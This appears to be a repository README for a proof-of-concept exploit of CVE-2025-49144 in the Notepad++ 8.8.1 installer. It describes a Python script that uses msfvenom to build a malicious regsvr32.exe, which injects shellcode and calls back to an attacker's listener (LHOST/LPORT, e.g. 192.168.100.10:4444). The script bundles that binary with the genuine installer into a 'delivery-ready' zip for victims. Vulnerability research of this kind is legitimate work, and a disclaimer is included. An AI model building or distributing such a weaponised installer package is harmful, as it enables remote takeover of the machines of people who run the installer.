CVE-2025-49144 PoC — Notepad++ 安全漏洞

Description

Proof of Concept (PoC) that exploits the CVE-2025-49144 vulnerability in the Notepad++ 8.8.1 installer. 

介绍

# CVE-2025-49144 – Exploit for Notepad++ 8.8.1

This repository contains a functional Proof of Concept (PoC) that exploits the **CVE-2025-49144** vulnerability in the **Notepad++ 8.8.1 installer**. The malicious execution occurs by placing a binary (`regsvr32.exe`) in the same directory as the vulnerable installer. When the installer is executed, it inherits the context and triggers the payload.

> ⚠️ **Disclaimer**  
> This code is strictly intended for **educational and research purposes** only. Unauthorized use on systems without explicit permission may constitute a violation of the law.  
> The author is **not responsible** for any misuse or malicious activity involving this tool.

---

## 🧪 Requirements

- Python 3.x  
- [`msfvenom`](https://www.metasploit.com/) (part of Metasploit Framework)  
- `mingw-w64` (`x86_64-w64-mingw32-gcc`)  
- Vulnerable installer: `npp.8.8.1.Installer.x64.exe` (must be placed manually in the same directory)

---

## ⚙️ Usage

```bash
python3 exploit.py -i <LHOST> -p <LPORT>
```

Example:

```c
python3 exploit.py -i 192.168.100.10 -p 4444
```

This will generate the following files:
- regsvr32.exe: executable that injects shellcode into a remote notepad.exe process.
- notepad_payload.zip: delivery-ready archive containing:
    - npp.8.8.1.Installer.x64.exe
    - regsvr32.exe

## 🎬 Demo

[![Demo Preview](assets/cve-2025-49144.gif)]

文件快照

备注